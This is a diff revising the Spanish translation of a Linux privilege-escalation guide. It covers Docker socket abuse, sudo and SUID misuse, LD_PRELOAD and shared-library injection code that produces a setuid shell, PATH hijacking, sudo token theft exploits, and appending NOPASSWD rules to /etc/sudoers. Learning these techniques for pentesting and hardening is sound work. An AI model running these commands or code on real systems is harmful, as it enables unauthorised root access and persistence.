### HTTP sockets -Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobar esto con: +Ten en cuenta que puede haber algunos **sockets listening for HTTP requests** (_no me refiero a los archivos .socket sino a los archivos que actúan como unix sockets_). Puedes comprobarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si el socket **responde a una solicitud HTTP**, entonces puedes **comunicarte** con él y quizá **exploit alguna vulnerabilidad**. +Si el socket **responde a una petición HTTP**, entonces puedes **comunicarte** con él y quizá **explotar alguna vulnerabilidad**. -### Socket de Docker escribible +### Docker socket escribible -El socket de Docker, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe protegerse. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Tener acceso de escritura a este socket puede llevar a privilege escalation. Aquí tienes un desglose de cómo se puede hacer esto y métodos alternativos si la Docker CLI no está disponible. +El socket de Docker, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe protegerse. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede llevar a privilege escalation. Aquí tienes un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible. #### **Privilege Escalation with Docker CLI** -Si tienes acceso de escritura al socket de Docker, puedes escalate privileges usando los siguientes comandos: +Si tienes acceso de escritura al Docker socket, puedes escalate privileges usando los siguientes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estos comandos te permiten ejecutar un contenedor con acceso a nivel root al sistema de archivos del host. +Estos comandos te permiten ejecutar un container con root-level access al sistema de archivos del host. #### **Using Docker API Directly** -En casos en los que la Docker CLI no esté disponible, el Docker socket aún puede manipularse usando la Docker API y comandos `curl`. +En casos donde el Docker CLI no está disponible, el Docker socket aún puede manipularse usando el Docker API y comandos `curl`. -1. **List Docker Images:** Retrieve the list of available images. +1. **List Docker Images:** Recupera la lista de imágenes disponibles. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Create a Container:** Envía una solicitud para crear un container que monte el directorio raíz del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Arranca el container recién creado: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **Attach to the Container:** Usa `socat` para establecer una conexión al container, permitiendo la ejecución de comandos dentro de él. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,7 +559,7 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el container con root-level access al sistema de archivos del host. ### Others @@ -549,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **puedes abusar de él para escalar privilegios**: +Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**: {{#ref}} @@ -558,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **puedes abusar de él para escalar privilegios**: +Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**: {{#ref}} @@ -567,13 +592,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus es un sofisticado sistema de **inter-Process Communication (IPC)** que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. +D-Bus es un sofisticado sistema de **inter-Process Communication (IPC)** que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado para los sistemas Linux modernos, ofrece un marco robusto para distintos tipos de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, semejante a los **enhanced UNIX domain sockets**. Además, ayuda en la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que mutee, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, racionalizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, recordando a los **enhanced UNIX domain sockets**. Además, ayuda en la difusión de eventos o señales, fomentando la integración fluida entre componentes del sistema. Por ejemplo, una señal de un Bluetooth daemon sobre una llamada entrante puede indicar a un reproductor de música que silencie el audio, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. -D-Bus opera sobre un modelo de **allow/deny**, gestionando los permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basándose en el efecto acumulado de las reglas de política que coincidan. Estas políticas especifican las interacciones con el bus, y potencialmente pueden permitir una escalada de privilegios mediante la explotación de dichos permisos. +D-Bus opera bajo un **allow/deny model**, gestionando permisos de mensajes (llamadas de método, emisión de señales, etc.) basándose en el efecto acumulado de las reglas de política coincidentes. Estas políticas especifican las interacciones con el bus, pudiendo permitir la escalada de privilegios mediante la explotación de dichos permisos. -Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. +Se proporciona un ejemplo de dicha política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. ```xml @@ -584,14 +609,14 @@ Las políticas sin un usuario o grupo especificado se aplican de forma universal ``` -**Aprende cómo enumerar y explotar una comunicación D-Bus aquí:** +**Aprende a enumerar y explotar una comunicación D-Bus aquí:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Red** +## **Network** Siempre es interesante enumerar la red y averiguar la posición de la máquina. @@ -618,16 +643,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Puertos abiertos -Siempre revisa los servicios de red que se ejecutan en la máquina y con los que no pudiste interactuar antes de acceder a ella: +Siempre comprueba los servicios de red que se estén ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credentials. +Comprueba si puedes sniff traffic. Si puedes, podrías obtener algunas credentials. ``` timeout 1 tcpdump ``` @@ -635,7 +660,7 @@ timeout 1 tcpdump ### Enumeración genérica -Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges**: +Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en el sistema, cuáles pueden **login** y cuáles tienen **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID grande +### Big UID Algunas versiones de Linux se vieron afectadas por un bug que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Para explotarlo usa: **`systemd-run -t /bin/bash`** +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupos -Comprueba si eres **miembro de algún grupo** que podría otorgarte privilegios root: +Comprueba si eres **miembro de algún grupo** que podría concederte privilegios root: {{#ref}} @@ -690,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Contraseñas conocidas -Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando esa contraseña. +Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. ### Su Brute -Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar un brute-force sobre usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta un brute-force sobre usuarios. +Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar brute-forceear usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta brute-forceear usuarios. -## Abusos de $PATH escribible +## Abusos de PATH escribible ### $PATH -Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios creando **una backdoor dentro de la carpeta escribible** con el nombre de algún comando que vaya a ser ejecutado por un usuario distinto (idealmente root) y que **no se cargue desde una carpeta ubicada antes** de tu carpeta escribible en el $PATH. +Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías escalar privilegios **creando un backdoor dentro de la carpeta escribible** con el nombre de algún comando que vaya a ser ejecutado por otro usuario (idealmente root) y que **no se cargue desde una carpeta que esté situada antes** de tu carpeta escribible en $PATH. ### SUDO and SUID -Podrías tener permitido ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando: +Podrías tener permiso para ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Algunos comandos **inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: +Algunos **comandos inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +746,31 @@ less>! ``` ### NOPASSWD -La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. +La configuración de Sudo puede permitir que un usuario ejecute algún comando con los privilegios de otro usuario sin conocer la contraseña. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener una shell agregando una clave ssh en el directorio root o ejecutando `sh`. +En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener un shell añadiendo una ssh key en el root directory o invocando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta directiva permite al usuario **set an environment variable** mientras ejecuta algo: +Esta directiva permite al usuario **establecer una variable de entorno** mientras ejecuta algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este ejemplo, **basado en HTB machine Admirer**, estaba **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca de python arbitraria al ejecutar el script como root: +Este ejemplo, **basado en HTB machine Admirer**, fue **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca de python arbitraria mientras se ejecutaba el script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: eludir rutas de ejecución +### Rutas para evadir la ejecución con Sudo -**Jump** para leer otros archivos o usar **symlinks**. Por ejemplo, en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Saltar** para leer otros archivos o usar **symlinks**. Por ejemplo, en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -762,23 +787,23 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sin la ruta del comando +### Comando sudo/binario SUID sin ruta del comando -Si el **permiso sudo** se otorga a un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH +Si se otorga el **sudo permission** a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también puede usarse si un **suid** binario **ejecuta otro comando sin especificar la ruta al mismo (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**). +Esta técnica también puede usarse si un **suid** binario **ejecuta otro comando sin especificar la ruta (siempre verifica con** _**strings**_ **el contenido de un SUID extraño)**). [Payload examples to execute.](payloads-to-execute.md) -### Binario SUID con ruta de comando +### Binario SUID con ruta del comando -Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando. +Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que está llamando el archivo suid. -Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_, tienes que intentar crear la función y exportarla: +Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -787,18 +812,18 @@ Entonces, cuando llames al suid binary, esta función se ejecutará ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que el loader cargará antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. +La variable de entorno **LD_PRELOAD** se usa para especificar una o más librerías compartidas (.so files) que serán cargadas por el cargador antes que las demás, incluyendo la biblioteca C estándar (`libc.so`). Este proceso se conoce como precarga de una librería. Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables **suid/sgid**, el sistema aplica ciertas condiciones: -- El loader ignora **LD_PRELOAD** para ejecutables en los que el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_). -- Para ejecutables con suid/sgid, solo se precargan bibliotecas ubicadas en rutas estándar que además sean suid/sgid. +- El cargador ignora **LD_PRELOAD** para ejecutables donde el identificador de usuario real (_ruid_) no coincide con el identificador de usuario efectivo (_euid_). +- Para ejecutables con **suid/sgid**, solo se precargan librerías ubicadas en rutas estándar que también sean **suid/sgid**. -La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la línea **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente podría llevar a la ejecución de código arbitrario con privilegios elevados. +La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la instrucción **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede conducir a la ejecución de código arbitrario con privilegios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Guárdalo como **/tmp/pe.c** +Guardar como **/tmp/pe.c** ```c #include #include @@ -821,7 +846,7 @@ Finalmente, **escalate privileges** ejecutando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Se puede abusar de una privesc similar si el atacante controla la env variable **LD_LIBRARY_PATH**, ya que controla la ruta donde se van a buscar las bibliotecas. +> Un privesc similar puede aprovecharse si el atacante controla la variable de entorno **LD_LIBRARY_PATH**, ya que controla la ruta donde se buscarán las bibliotecas. ```c #include #include @@ -843,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Al encontrarse con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: +Cuando te encuentres con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posibilidad de explotación. +Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere la posibilidad de explotación. -Para explotarlo, se procede a crear un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: +Para explotarlo, se procedería a crear un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: ```c #include #include @@ -860,9 +885,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, una vez compilado y ejecutado, pretende elevar privilegios manipulando los permisos de archivo y ejecutando un shell con privilegios elevados. +Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando los permisos de archivos y ejecutando una shell con privilegios elevados. -Compila el archivo C anterior en un archivo de objeto compartido (.so) con: +Compila el archivo C anterior en un archivo de biblioteca compartida (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -878,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta en la que podemos escribir, vamos a crear la library en esa carpeta con el nombre necesario: +Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, vamos a crear la library en esa carpeta con el nombre necesario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -895,13 +920,13 @@ Si obtienes un error como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Eso significa que la librería que has generado necesita tener una función llamada `a_function_name`. +eso significa que la librería que has generado necesita tener una función llamada `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **solo inyectar argumentos** in a command. +[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde puedes **solo inyectar argumentos** en un comando. -El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para escapar de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar bind y reverse shells, y facilitar otras tareas de post-explotación. +El proyecto recopila funciones legítimas de binarios Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,43 +945,43 @@ https://gtfoargs.github.io/ ### FallOfSudo -Si puedes ejecutar `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. +Si puedes acceder a `sudo -l` puedes usar la herramienta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para comprobar si encuentra cómo explotar alguna regla de sudo. -### Reusing Sudo Tokens +### Reutilizando tokens de sudo -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +En casos donde tienes **sudo access** pero no la contraseña, puedes escalar privilegios **esperando a que se ejecute un comando sudo y luego secuestrando el token de la sesión**. Requisitos para escalar privilegios: -- Ya tienes una shell como el usuario "_sampleuser_" -- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15 minutos** (por defecto esa es la duración del token de sudo que nos permite usar `sudo` sin introducir ninguna contraseña) -- `cat /proc/sys/kernel/yama/ptrace_scope` sea 0 -- `gdb` sea accesible (puedes subirlo) +- Ya tienes una shell como usuario "_sampleuser_" +- "_sampleuser_" ha **usado `sudo`** para ejecutar algo en los **últimos 15mins** (por defecto esa es la duración del token sudo que nos permite usar `sudo` sin introducir ninguna contraseña) +- `cat /proc/sys/kernel/yama/ptrace_scope` es 0 +- `gdb` es accesible (puedes subirlo) -(Puedes habilitar temporalmente `ptrace_scope` con `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` o permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` y estableciendo `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el sudo token en tu sesión** (no obtendrás automáticamente una root shell, ejecuta `sudo su`): +- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token sudo en tu sesión** (no obtendrás automáticamente una shell root, ejecuta `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- El **segundo exploit** (`exploit_v2.sh`) creará una shell sh en _/tmp_ **propiedad de root con setuid** +- El **segundo exploit** (`exploit_v2.sh`) creará un shell sh en _/tmp_ **propiedad de root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- El **tercer exploit** (`exploit_v3.sh`) creará un **sudoers file** que hace que los **sudo tokens** sean eternos y permite que todos los usuarios usen sudo +- El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace **que los sudo tokens sean eternos y permite que todos los usuarios usen sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ -Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña haciendo: +Si tienes **write permissions** en la carpeta o sobre cualquiera de los archivos creados dentro de la misma, puedes usar el binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **create a sudo token for a user and PID**.\ +Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes un shell como ese user con PID 1234, puedes **obtain sudo privileges** sin necesidad de conocer la password haciendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -968,7 +993,7 @@ El archivo `/etc/sudoers` y los archivos dentro de `/etc/sudoers.d` configuran q ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si puedes escribir, puedes abusar de este permiso. +Si puedes escribir, puedes abusar de este permiso ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -982,15 +1007,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Hay algunas alternativas al binario `sudo`, como `doas` para OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf` +Existen algunas alternativas al binario `sudo`, como `doas` para OpenBSD; recuerda revisar su configuración en `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **usuario normalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y obtuviste una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecute tu código como root y luego el comando del usuario. Luego, **modificar el $PATH** del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. +Si sabes que un **usuario normalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y has obtenido un shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del usuario. Después, **modifica el $PATH** del contexto del usuario (por ejemplo agregando la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. -Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ten en cuenta que si el usuario usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) O ejecutando algo como: ```bash @@ -1011,12 +1036,12 @@ sudo ls ### ld.so -El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Normalmente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf` +El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Típicamente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf` -Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde se van a **buscar** las **librerías**. Por ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará librerías dentro de `/usr/local/lib`**. +Esto significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** las **bibliotecas**. Por ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**. -Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta referenciada por los archivos de configuración en `/etc/ld.so.conf.d/*.conf`, podría ser capaz de escalar privilegios.\ -Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página: +Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta referenciada por los archivos de configuración en `/etc/ld.so.conf.d/*.conf` podría ser capaz de escalar privilegios.\ +Consulta **cómo explotar esta misconfiguración** en la siguiente página: {{#ref}} @@ -1034,7 +1059,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Al copiar la lib en `/var/tmp/flag15/` será usada por el programa en ese lugar según lo especificado en la variable `RPATH`. +Al copiar la lib en `/var/tmp/flag15/` será utilizada por el programa en ese lugar según lo especificado en la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1056,11 +1081,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities - -Linux capabilities proporcionan un **subconjunto de los privilegios de root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede ser concedida de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ -Lea la siguiente página para **aprender más sobre capabilities y cómo abusar de ellas**: +## Capacidades +Las capacidades de Linux proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto divide efectivamente los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede luego ser otorgada de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ +Lee la siguiente página para **aprender más sobre las capacidades y cómo abusar de ellas**: {{#ref}} linux-capabilities.md @@ -1068,14 +1092,14 @@ linux-capabilities.md ## Permisos de directorio -En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" dentro de la carpeta.\ -El bit **"read"** implica que el usuario 